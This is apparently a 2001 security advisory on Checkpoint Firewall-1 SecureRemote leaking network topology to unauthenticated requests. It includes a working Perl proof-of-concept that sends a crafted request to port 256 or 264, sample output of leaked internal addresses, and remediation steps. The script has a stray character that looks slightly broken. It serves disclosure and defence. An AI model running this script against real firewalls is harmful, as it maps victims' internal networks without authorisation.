|
COMMAND FW-1 SYSTEMS AFFECTED Checkpoint Firewall-1 PROBLEM Haroon Meer found following. Checkpoint Firewall-1 makes use of a piece of software called SecureRemote to create encrypted sessions between users and FW-1 modules. Before remote users are able to communicate with internal hosts, a network topology of the protected network is downloaded to the client. While newer versions of the FW-1 software have the ability to restrict these downloads to only authenticated sessions, the default setting allows unauthenticated requests to be honoured. This gives a potential attacker a wealth of information including ip addresses, network masks (and even friendly descriptions). The attached file will connect to the firewall, and download the toplogy (if SecureRemote is running) (it is a tiny perl file, which needs only Socket, so avoids the hassle of having to install the SecureRemote client <or booting windows> to test a firewall-1) SensePost# perl sr.pl firewall.victim.com Testing on port 256 :val ( :reply ( : (-SensePost-dotcom-.hal9000-19.3.167.186 :type (gateway) :is_fwz (true) :is_isakmp (true) :certificates () :uencapport (2746) :fwver (4.1) :ipaddr (19.3.167.186) :ipmask (255.255.255.255) :resolve_multiple_interfaces () :ifaddrs ( : (16.3.167.186) : (12.20.240.1) : (16.3.170.1) : (29.203.37.97) ) :firewall (installed) :location (external) :keyloc (remote) :userc_crypt_ver (1) :keymanager ( :type (refobj) :refname ("#_-SensePost-dotcom-") ) :name (-SensePost-dotcom-Neo16.3.167.189) :type (gateway) :ipaddr (172.29.0.1) :ipmask (255.255.255.255) ) The code: #!/usr/bin/perl # A Command-line tool that can be used to download network Topology # from Firewall-1's running SecureRemote, with the option "Allow un # authenticated cleartext topology downloads". # Usage sr.pl IP # Haroon Meer & Roelof Temmingh 2001/07/17 # haroon@sensepost.com - http://www.sensepost.com use Socket; if ($#ARGV<0) {die "Usage: sr.pl IP\n";} $port=256; $target=inet_aton($ARGV[0]); print "Testing $host on port $port\n"; $SENDY="410000000259052100000004c41e43520000004e28746f706f6c6f67792d726571756573740a093a63616e616d6520282d53656e7365506f73742d646f74636f6d2d290a093a6368616c6c656e67652028633265323331383339643066290a290a00"; $SENDY = pack("H*",$SENDY); @results=sendraw($SENDY); if ($#results == 0) { print "No results on port 256 - trying 264\n"; $port=264; @results2=sendraw($SENDY); if ($#results2 == 0) {die "Sorry - no results\n";} } else {print @results;} sub sendraw { my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(^<S>){ push @in, $_;} select(STDOUT); close(S); return @in; } else { return ""; } } # Spidermark: sensepostdata fw1 SOLUTION This is a well-known, and generally accepted, risk associated with running FWZ SecuRemote VPN's to FireWall-1. As others have already commented, it is possible to turn off unauthenticated topology downloads through the policy properties. If you do this, you will need to manually distribute a userc.C file (containing the topology information) to all of your secuRemote users. This file should be loaded into the c:\winnt\fw\database directory on the client. From start to finish, the procedure should go something like this: 1. Set up you firewall gateway for VPN, with the "Respond to unauthenticated topology requests" enabled. 2. Set up a sample secuRemote client, and download the site topology. 3. Turn off "Respond to unauthenticated topology requests". 4. Securely distribute the file userc.C from the sample client to all secuRemote users. You will need to send out an updated userc.C any time there is a change to the encryption domain or keying info. That's not the only way to do it. An 'authenticated' connection can download the topology data. However, the authentication needed for this to work is a shared secret or certificate as defined in the 'IKE' properties for the user (i.e. you can't use things like SecurID for this bit) Once you've got the topology, there's nothing stopping you re-authenticating with a normal authentication method. We do this with a seperate account set up purely for topology downloads. This account does not have any access to the network via the rulebase. Checkpoint have a couple of documents available on how to set this up, they are not that hard to find, searching for 'unauthenticated topology downlads' in the Checkpoint knowledge base should do the trick.